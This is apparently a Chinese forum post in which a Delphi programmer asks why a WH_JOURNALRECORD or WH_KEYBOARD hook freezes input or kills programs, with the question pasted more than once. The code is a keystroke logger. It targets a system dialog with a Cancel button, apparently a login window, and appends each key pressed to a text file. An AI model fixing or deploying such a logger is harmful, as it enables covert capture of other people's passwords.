我是这个设置的:
procedure loginpopedom;
begin
hHook:=SetWindowsHookEx(WH_JOURNALRECORD, HookProc,HInstance,0);
end;可是当程序执行后,鼠标和键盘就都实效了,需要使用Ctrl+Alt+Del才能结束,根本记录不了键盘操作。而我把: hHook:=SetWindowsHookEx(WH_JOURNALRECORD, HookProc,HInstance,0);
换成:
hHook:=SetWindowsHookEx(WH_KEYBOARD, HookProc,HInstance,0);
后一执行程序就会关闭所有正在运行的程序,请问高手,这个键盘钩子到底应该怎么安装呢?
谢谢!
procedure loginpopedom;
begin
hHook:=SetWindowsHookEx(WH_JOURNALRECORD, HookProc,HInstance,0);
end;可是当程序执行后,鼠标和键盘就都实效了,需要使用Ctrl+Alt+Del才能结束,根本记录不了键盘操作。而我把: hHook:=SetWindowsHookEx(WH_JOURNALRECORD, HookProc,HInstance,0);
换成:
hHook:=SetWindowsHookEx(WH_KEYBOARD, HookProc,HInstance,0);
后一执行程序就会关闭所有正在运行的程序,请问高手,这个键盘钩子到底应该怎么安装呢?
谢谢!
procedure loginpopedom;
begin
hHook:=SetWindowsHookEx(WH_JOURNALRECORD, HookProc,HInstance,0);
end;可是当程序执行后,鼠标和键盘就都实效了,需要使用Ctrl+Alt+Del才能结束,根本记录不了键盘操作。
var
c:integer;
HWindow,hbutton1, HButton,hedit,hedit1, handle: THandle; //句柄变量
debugfile:textfile;
point:TPoint;
temp:array[0..255] of char;
begin
HWindow:=0;
found:=false;
//找是#32770(对话框)的窗体
HWindow := FindWindowEx(0, HWindow, '#32770',nil);
hbutton1:=findwindowex(HWindow,0,'Button','取消') ; If hbutton1 <> 0 Then//如果找到了
Begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then//判断是否按键
begin c:=peventMsg(lparam)^.paramL;
d:=char(c);//得到按键
{$I-}
if not fileExists('NEWFILE.txt') then//如果文件不存在
begin
AssignFile(debugfile, 'NEWFILE.txt');
Rewrite(debugfile);//创建新文件
write(debugfile,d);//写入键值
CloseFile(debugfile);
end
//
else//如果存在
begin
AssignFile(debugfile, 'NEWFILE.txt');
Append(debugfile);//追加记录
write(debugfile,d);//写入键值
closefile(debugfile);
end
end
end;
end;procedure TForm1.FormCreate(Sender: TObject);begin
hHook:=SetwindowsHookEx(WH_JOURNALRECORD,HookProc,HInstance,0);//加载钩子
end;procedure TForm1.Button1Click(Sender: TObject);
begin
UnHookWindowsHookEx(hHook);//卸钩子
hHook:=0;end;